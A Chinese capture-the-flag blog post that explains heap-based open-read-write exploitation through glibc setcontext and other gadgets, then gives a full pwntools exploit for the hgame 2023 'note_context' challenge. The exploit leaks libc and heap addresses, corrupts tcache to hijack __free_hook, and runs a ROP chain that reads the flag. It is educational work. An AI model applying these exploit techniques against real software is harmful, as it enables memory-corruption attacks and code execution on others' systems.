堆orw

之前做栈上的orw时看到过堆上的orw,这次就碰到了。安排!o( ̄▽ ̄)ブ

2.29以下

堆上的orw主要就是利用setcontext函数中的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret

我们将setcontext+53的地址写入free_hook中,当我们执行free(chunk1)时,chunk1的地址(data段地址)会被传入rdi,这样我们就控制了rdi,并且可以通过rdi控制寄存器
我们需要控制的寄存器就是rsp和rcx:

  • 我们需要将已经写好的orw链的地址写在rdi+0xa0处,这样就能通过

    1
    <setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]

    实现栈迁移

  • 我们还需要将一个ret指令的地址写在rdi+0xa8处,因为push rcx会将rcx入栈,ret执行的就是rcx的地址

2.29以上

gadget+setcontext

2.29之后setcontext中的gadget变成了以rdx索引,因此我们需要找一些能控制rdx的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00000000000580DD                 mov     rsp, [rdx+0A0h]
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
....
.text:00000000000581C6 mov rcx, [rdx+0A8h]
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn

getkeyserv_handle+576有一段gadget

1
2
3
mov     rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

可以通过rdi控制rdx,从2.29到2.32都可以用

  • free_hook写入getkeyserv_handle+576
  • rdi+8写入rdx的值
  • rdx+0x20写入setcontext+53的值
  • rdx+0xa0写入orw链的地址
  • rdi+0xa8写入一个ret指令的地址

gadget+栈迁移

gadget svcudp_reply+26:

1
2
3
4
5
6
mov rbp, qword ptr [rdi + 0x48]; 
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];

可以通过rdi控制rbp的值实现栈迁移,还可以通过rbp控制rax实现程序的跳转

hgame 2023 week3 note_context

思路见上👆,直接放exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

def add(index,size):
p.sendlineafter(b'>',b'1')
p.sendlineafter(b'Index: ',str(index).encode())
p.sendlineafter(b'Size: ',str(size).encode())
def delete(index):
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'Index: ',str(index).encode())
def edit(index,content):
p.sendlineafter(b'>',b'3')
p.sendlineafter(b'Index: ',str(index).encode())
p.sendafter(b'Content: ',content)
def show(index):
p.sendlineafter(b'>',b'4')
p.sendlineafter(b'Index: ',str(index).encode())
def pack(pos, ptr):
return (pos >> 12) ^ ptr

p=process('./context')
#p=remote('week-3.hgame.lwsec.cn',30223)
#gdb.attach(p)
libc=ELF('./2.32-0ubuntu3.2_amd64/libc-2.32.so')

add(0,0x510)
add(1,0x510)
add(2,0x500)
add(3,0x500)
delete(0)
edit(0,b'a')
show(0)
s=p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')
libcbase=u64(s)-0x70-libc.symbols['__malloc_hook']-0x61
print(hex(libcbase))
tcache_max_bin=libcbase+0x1e3280+80
print(hex(tcache_max_bin))
edit(0,b'\x00')
add(4,0x600)
delete(2)
show(0)
pad1=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
print(hex(pad1))
edit(0,p64(pad1)+b'\x00'*0x10+p64(tcache_max_bin-0x20))
add(5,0x600)
delete(5)
show(5)
s=p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')
heap=(u64(s)<<12)-0x1000
print(hex(heap))
free_hook=libcbase+libc.symbols['__free_hook']
system_addr=libcbase+libc.symbols['system']
add(6,0x610)
add(7,0x610)
delete(7)
delete(6)
edit(6,p64(pack(heap+0x2930,free_hook)))
add(8,0x610)
add(9,0x610)

rdx_addr=libcbase+0x14b760
ret_addr=libcbase+0x26699
set_context_addr=libcbase+0x5306d
open_addr=libcbase+libc.symbols['open']
read_addr=libcbase+libc.symbols['read']
write_addr=libcbase+libc.symbols['write']
pop_rdi_addr=libcbase+0x2858f
pop_rsi_addr=libcbase+0x2ac3f
pop_rdx_r12_addr=libcbase+0x114161
payload=b'./flag\x00\x00'+p64(heap+0x2310+0x18)+0x18*b'\x00'+p64(set_context_addr)
payload+=(0xa8-0x30)*b'\x00'+p64(heap+0x2310+0x100)+p64(ret_addr)
payload+=(0x100-0xb0-0x18)*b'\x00'
payload+=p64(pop_rdi_addr)+p64(heap+0x2320)+p64(pop_rsi_addr)+p64(0)+p64(open_addr)
payload+=p64(pop_rdi_addr)+p64(3)+p64(pop_rsi_addr)+p64(heap+0x2310)+p64(pop_rdx_r12_addr)+p64(0x30)+p64(0)+p64(read_addr)
payload+=p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_addr)+p64(heap+0x2310)+p64(pop_rdx_r12_addr)+p64(0x30)+p64(0)+p64(write_addr)
gdb.attach(p)
edit(9,p64(rdx_addr))
edit(8,payload)
delete(8)
print(p.recv())

堆orw
http://akaieurus.github.io/2023/01/27/堆orw/
作者
Eurus
发布于
2023年1月27日
许可协议